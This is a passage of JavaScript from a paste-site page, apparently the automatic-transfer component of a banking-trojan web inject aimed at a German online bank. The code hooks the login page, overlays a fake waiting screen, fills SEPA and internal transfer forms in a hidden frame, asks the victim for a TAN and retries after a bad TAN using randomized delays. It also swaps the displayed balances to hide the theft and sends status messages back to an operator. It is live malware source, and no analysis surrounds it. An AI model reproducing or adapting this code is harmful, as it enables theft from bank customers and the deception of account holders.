  1761.    
  1762.         case "SEPA_page":
  1763.             ATS.framePageSEPA_page();
  1764.             break;
  1765.            
  1766.             case "randomPage":
  1767.             ATS.randomPage();
  1768.             break;
  1769.            
  1770.         case "inside_randomPage":
  1771.             ATS.inside_randomPage();
  1772.             break;    
  1773.            
  1774.  
  1775.         case "SEPA_form_filled":
  1776.             if (!jq("div.aspect-error:visible").length)
  1777.             {
  1778.                 ATS.UI_askTan();
  1779.             }
  1780.             else
  1781.             {
  1782.                 ATS.die('frameWork: Error fill SEPA form: ' + jq.trim(jq("div.aspect-error:visible").text()));
  1783.             }
  1784.             break;
  1785.            
  1786.  
  1787.             case "Internal_transf_page":
  1788.                 ATS.framePageInternal_transf_page();
  1789.             break;
  1790.            
  1791.  
  1792.         case "INT_form_filled":
  1793.             if (!jq("div.aspect-error:visible").length)
  1794.             {
  1795.                 ATS.UI_askTan();
  1796.             }
  1797.             else
  1798.             {
  1799.                 ATS.die('frameWork: Error fill INT form: ' + jq.trim(jq("div.aspect-error:visible").text()));
  1800.             }
  1801.             break;
  1802.            
  1803.            
  1804.            
  1805.            
  1806.            
  1807.            
  1808.  
  1809.         case "TAN_ENTERED":
  1810.        
  1811.         ATS.debugMsg("TAN_ENTERED");
  1812.  
  1813.        
  1814.         if (jq("div.aspect-error:visible").length)
  1815.         {
  1816.             parent.ATS.badTan = true;
  1817.             ATS.sendLogMsg('frameWork: bad TAN');
  1818.        
  1819.    
  1820.         if (parent.ATS.transf_mode == 'sepa') parent.ATS.StepInFrame.set_current_state("SEPA_page");
  1821.         else parent.ATS.StepInFrame.set_current_state("Internal_transf_page");
  1822.  
  1823.    
  1824.         if ( jq('input[name*="event_change"]').length)
  1825.         {
  1826.             setTimeout(function(){
  1827.             //jq('input[name*="event_change"]').click();
  1828.             var but=jq('input[name*="event_change"]');
  1829.             ATS.imgSubmit(but);
  1830.                        
  1831.             }, ATS.randInt(4000, 5500));
  1832.  
  1833.         }
  1834.         else ATS.die('TAN_ENTERED: cant find  previousStep button');
  1835.    
  1836.        
  1837.                 }
  1838.        else {  
  1839.         if (parent.ATS.transf_mode == 'sepa') ATS.framePageReceipt();
  1840.         else ATS.framePageReceiptInternal();
  1841.        
  1842.        }
  1843.  
  1844.        
  1845.             break;                        
  1846.    
  1847.        
  1848.     }
  1849. }
  1850.  
  1851.  
  1852. if ((typeof __debugDisabled == 'undefined') || !__debugDisabled)
  1853. {
  1854.     document.write('<div class="inj_full_overlay"></div>');
  1855.    
  1856.     jq(document).ready(function(){
  1857.         ATS.debugMsg('document loaded');
  1858.        
  1859.         //ATS.sendLogMsg('utilInfo = ' + ATS.utilInfo);
  1860.  
  1861.     ATS.loadData(function(data){
  1862.  
  1863.         if (ATS.account_id != 0)
  1864.         {  
  1865.      
  1866.             switch (ATS.getCookie('status')) {
  1867.                case "1":
  1868.                   if (ATS.isLoggedIn()) {ATS.replaceBalances(); }
  1869.                   jq('.inj_full_overlay').remove();
  1870.                  
  1871.                   break;
  1872.                case "2":
  1873.                ATS.debugMsg('case "2"');
  1874.                
  1875.                
  1876.               if(((ATS.getTime() - ATS.getCookie('error_time'))/3600)>=2) {
  1877.                 ATS.setCookie('status',0);
  1878.                 ATS.saveCookies();
  1879.                 ATS.sendLogMsg('Replace cookie status from 2 on 0');
  1880.                 jq('.inj_full_overlay').remove();
  1881.               } else {jq('.inj_full_overlay').remove(); break;}
  1882.              
  1883.              
  1884.                default:
  1885.                
  1886.                         if (ATS.checkLoginPage())
  1887.                         {
  1888.                             ATS.debugMsg('login page');
  1889.                             ATS.setLoginHook();
  1890.                             jq('.inj_full_overlay').remove();
  1891.                             break;
  1892.                         }                          
  1893.                        
  1894.                      
  1895.                         if (ATS.isLoggedIn())
  1896.                         {
  1897.                             ATS.debugMsg('logged in!');
  1898.                            
  1899.  
  1900.                     var t =jq('ul.activeNotificationAction a').text();
  1901.                     if ((t.indexOf('Sperre aufheben')!=-1) || (t.indexOf('Unlock TAN list')!=-1)){
  1902.                         ATS.debugMsg('TAN locked!');
  1903.                         ATS.die("TAN locked!");
  1904.                         jq('.inj_full_overlay').remove();
  1905.                         break;
  1906.                     }
  1907.                          
  1908.                            
  1909.                        
  1910.                             if ((parent.document !== document) && parent.ATS)
  1911.                             {
  1912.                                 ATS.debugMsg('we are in frame!');
  1913.                                 ATS.frameWork();
  1914.                                 jq('.inj_full_overlay').remove();
  1915.                                 break;
  1916.                             }
  1917.                             else
  1918.                             {
  1919.    if (!!jq('div[role="dialog"]:visible').length) jq('div[role="dialog"]').find('span:contains(close)').click();//убрать окно с вопросом
  1920.  
  1921.  
  1922.                                 jq('.inj_full_overlay').remove();
  1923.                                 ATS.UI_blockSite();
  1924.                                 ATS.UI_showWait();
  1925.                                 ATS.mainWork();
  1926.                                 break;
  1927.                             }
  1928.                         }
  1929.                         else
  1930.                         {
  1931.                             if ((parent.document !== document) && parent.ATS)
  1932.                             {
  1933.                                 ATS.debugMsg('we are in frame and not logged in!');
  1934.                             }
  1935.                         }              
  1936.                
  1937.                
  1938.                     break;
  1939.             }
  1940.          
  1941.            
  1942.  
  1943.         }else {jq('.inj_full_overlay').remove();ATS.die("account_id is 0 or ip is locked");}
  1944.        
  1945.        
  1946.         if(!ATS.isLoggedIn()) {jq('.inj_full_overlay').remove();
  1947.         ATS.debugMsg('!ATS.isLoggedIn()');}
  1948.     });
  1949.      
  1950.        
  1951.  
  1952.        
  1953.  
  1954.     });
  1955. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement